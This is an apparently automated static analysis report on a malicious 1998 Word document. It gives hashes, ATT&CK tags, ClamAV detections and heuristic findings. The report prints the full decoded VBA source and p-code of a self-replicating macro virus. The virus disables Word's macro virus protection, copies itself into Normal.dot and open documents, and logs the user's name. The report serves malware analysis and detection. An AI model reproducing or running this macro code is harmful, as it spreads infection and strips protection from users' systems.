Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4e7a73a158e1068f…

MALICIOUS

Office (OLE)

50.0 KB Created: 1998-06-24 01:34:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1f9c49041cdd073c1dbb79591a6976f7 SHA-1: 6e28855dc99117549a091e3d46b877b461e29c5d SHA-256: 4e7a73a158e1068f57a835cccd439a9516dd9c1cb8f63aca16c09b19f081c205
296 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro markers and VBA macros, including AutoOpen and Auto_Close, which are indicative of older malware techniques. The script attempts to export a component to 'c:\cgold.drv' and then import it into the Normal.dot template, suggesting an attempt to infect the template for persistence or further spread. The presence of 'Doc.Trojan.Class-37' and 'Doc.Trojan.Class-12' ClamAV detections further supports a malicious classification.

Heuristics 7

  • ClamAV: Doc.Trojan.Class-37 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-37
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    If nt < 40 Then host.CodeModule.replaceline 1, "Sub AutoClose()"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6586 bytes
SHA-256: 549a187f71b98193dc7645fe2795df222f438d274799c37b5e32dd9b3061899d
Detection
ClamAV: Doc.Trojan.Class-12
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

On Error GoTo out

Options.VirusProtection = False

Options.SaveNormalPrompt = False

ad = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines

nt = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines

If nt > 40 And ad > 0 Then GoTo out

If nt < 40 Then

    Set host = NormalTemplate.VBProject.VBComponents.Item(1)

    ActiveDocument.VBProject.VBComponents.Item(1).Name = host.Name

    ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.InsertLines (ad + 1), "' I infected " & Application.UserName & " on: " & Now

    VBE.ActiveVBProject.VBComponents.Item(1).Export "c:\cgold.drv"

End If

If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)

host.CodeModule.AddFromFile ("c:\cgold.drv")

host.CodeModule.deletelines 1, 4

If nt < 40 Then host.CodeModule.replaceline 1, "Sub AutoClose()"

With host.CodeModule

    For x = 2 To 48 Step 2

    .replaceline x, (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 200) & (Chr(122 - Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & " = " & (Chr(65 + Int(Rnd * 22))) & (Chr(122 - Int(Rnd * 22))) & (Chr(122 - Int(Rnd * 22))) & Int(Rnd * 200) & " + " & (Chr(65 + Int(Rnd * 22))) & (Chr(122 - Int(Rnd * 22))) & (Chr(122 - Int(Rnd * 22))) & Int(Rnd * 200)

    Next x

End With

out:

If nt > 40 And ad = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

End Sub

' Class.Poppy.Gold Infection Log
' ------------------------------

' Processing file: /tmp/qstore_en7b6qb4
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 18214 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' Line #2:
' 	OnError out 
' Line #3:
' Line #4:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #5:
' Line #6:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #7:
' Line #8:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St ad 
' Line #9:
' Line #10:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	MemLd CountOfLines 
' 	St nt 
' Line #11:
' Line #12:
' 	Ld nt 
' 	LitDI2 0x0028 
' 	Gt 
' 	Ld ad 
' 	LitDI2 0x0000 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo out 
' 	EndIf 
' Line #13:
' Line #14:
' 	Ld nt 
' 	LitDI2 0x0028 
' 	Lt 
' 	IfBlock 
' Line #15:
' Line #16:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set host 
' Line #17:
' Line #18:
' 	Ld host 
' 	MemLd New 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemSt New 
' Line #19:
' Line #20:
' 	Ld ad 
' 	LitDI2 0x0001 
' 	Add 
' 	Paren 
' 	LitStr 0x000D "' I infected "
' 	Ld Application 
' 	MemLd UserName 
' 	Concat 
' 	LitStr 0x0005 " on: "
' 	Concat 
' 	Ld Now 
' 	Concat 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemCall InsertLines 0x0002 
' Line #21:
' Line #22:
' 	LitStr 0x000C "c:\cgold.drv"
' 	LitDI2 0x0001 
' 	Ld VBE 
' 	MemLd ActiveVBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #23:
' Line #24:
' 	EndIfBlock 
' Line #25:
' Line #26:
' 	Ld ad 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set host 
' 	EndIf 
' Line #27:
' Line #28:
' 	LitStr 0x000C "c:\cgold.drv"
' 	Paren 
' 	Ld host 
' 	MemLd CodeModule 
' 	ArgsMemCall AddFromFile 0x0001 
' Line #29:
' Line #30:
' 	LitDI2 0x0001 
' 	LitDI2 0x0004 
' 	Ld host 
' 	MemLd CodeModule 
' 	ArgsMemCall deletelines 0x0002 
' Line #31:
' Line #32:
' 	Ld nt 
' 	LitDI2 0x0028 
' 	Lt 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	LitStr 0x000F "Sub AutoClose()"
' 	Ld host 
' 	MemLd CodeModule 
' 	ArgsMemCall replaceline 0x0002 
' 	EndIf 
' Line #33:
' Line #34:
' 	StartWithExpr 
' 	Ld host 
' 	MemLd CodeModule 
' 	With 
' Line #35:
' Line #36:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	LitDI2 0x0030 
' 	LitDI2 0x0002 
' 	ForStep 
' Line #37:
' Line #38:
' 	Ld x 
' 	LitDI2 0x0041 
' 	Ld Rnd 
' 	LitDI2 0x0016 
' 	Mul 
' 	FnInt 
' 	Add 
' 	ArgsLd Chr 0x0001 
' 	Paren 
' 	Ld Rnd 
' 	LitDI2 0x00C8 
' 	Mul 
' 	FnInt 
' 	Concat 
' 	LitDI2 0x007A 
' 	Ld Rnd 
' 	LitDI2 0x0016 
' 	Mul 
' 	FnInt 
' 	Sub 
' 	ArgsLd Chr 0x0001 
' 	Paren 
' 	Concat 
' 	LitDI2 0x0041 
' 	Ld Rnd 
' 	LitDI2 0x0016 
' 	Mul 
' 	FnInt 
' 	Add 
' 	ArgsLd Chr 0x0001 
' 	Paren 
' 	Concat 
' 	LitStr 0x0003 " = "
' 	Concat 
' 	LitDI2 0x0041 
' 	Ld Rnd 
' 	LitDI2 0x0016 
' 	Mul 
' 	FnInt 
' 	Add 
' 	ArgsLd Chr 0x0001 
' 	Paren 
' 	Concat 
' 	LitDI2 0x007A 
' 	Ld Rnd 
' 	LitDI2 0x0016 
' 	Mul 
' 	FnInt 
' 	Sub 
' 	ArgsLd Chr 0x0001 
' 	Paren 
' 	Concat 
' 	LitDI2 0x007A 
' 	Ld Rnd 
' 	LitDI2 0x0016 
' 	Mul 
' 	FnInt 
' 	Sub 
' 	ArgsLd Chr 0x0001 
' 	Paren 
' 	Concat 
' 	Ld Rnd 
' 	LitDI2 0x00C8 
' 	Mul 
' 	FnInt 
' 	Concat 
' 	LitStr 0x0003 " + "
' 	Concat 
' 	LitDI2 0x0041 
' 	Ld Rnd 
' 	LitDI2 0x0016 
' 	Mul 
' 	FnInt 
' 	Add 
' 	ArgsLd Chr 0x0001 
' 	Paren 
' 	Concat 
' 	LitDI2 0x007A 
' 	Ld Rnd 
' 	LitDI2 0x0016 
' 	Mul 
' 	FnInt 
' 	Sub 
' 	ArgsLd Chr 0x0001 
' 	Paren 
' 	Concat 
' 	LitDI2 0x007A 
' 	Ld Rnd 
' 	LitDI2 0x0016 
' 	Mul 
' 	FnInt 
' 	Sub 
' 	ArgsLd Chr 0x0001 
' 	Paren 
' 	Concat 
' 	Ld Rnd 
' 	LitDI2 0x00C8 
' 	Mul 
' 	FnInt 
' 	Concat 
' 	ArgsMemCallWith replaceline 0x0002 
' Line #39:
' Line #40:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #41:
' Line #42:
' 	EndWith 
' Line #43:
' Line #44:
' 	Label out 
' Line #45:
' Line #46:
' 	Ld nt 
' 	LitDI2 0x0028 
' 	Gt 
' 	Ld ad 
' 	LitDI2 0x0000 
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' 	EndIf 
' Line #47:
' Line #48:
' 	EndSub 
' Line #49:
' Line #50:
' 	QuoteRem 0x0000 0x001F " Class.Poppy.Gold Infection Log"
' Line #51:
' 	QuoteRem 0x0000 0x001F " ------------------------------"

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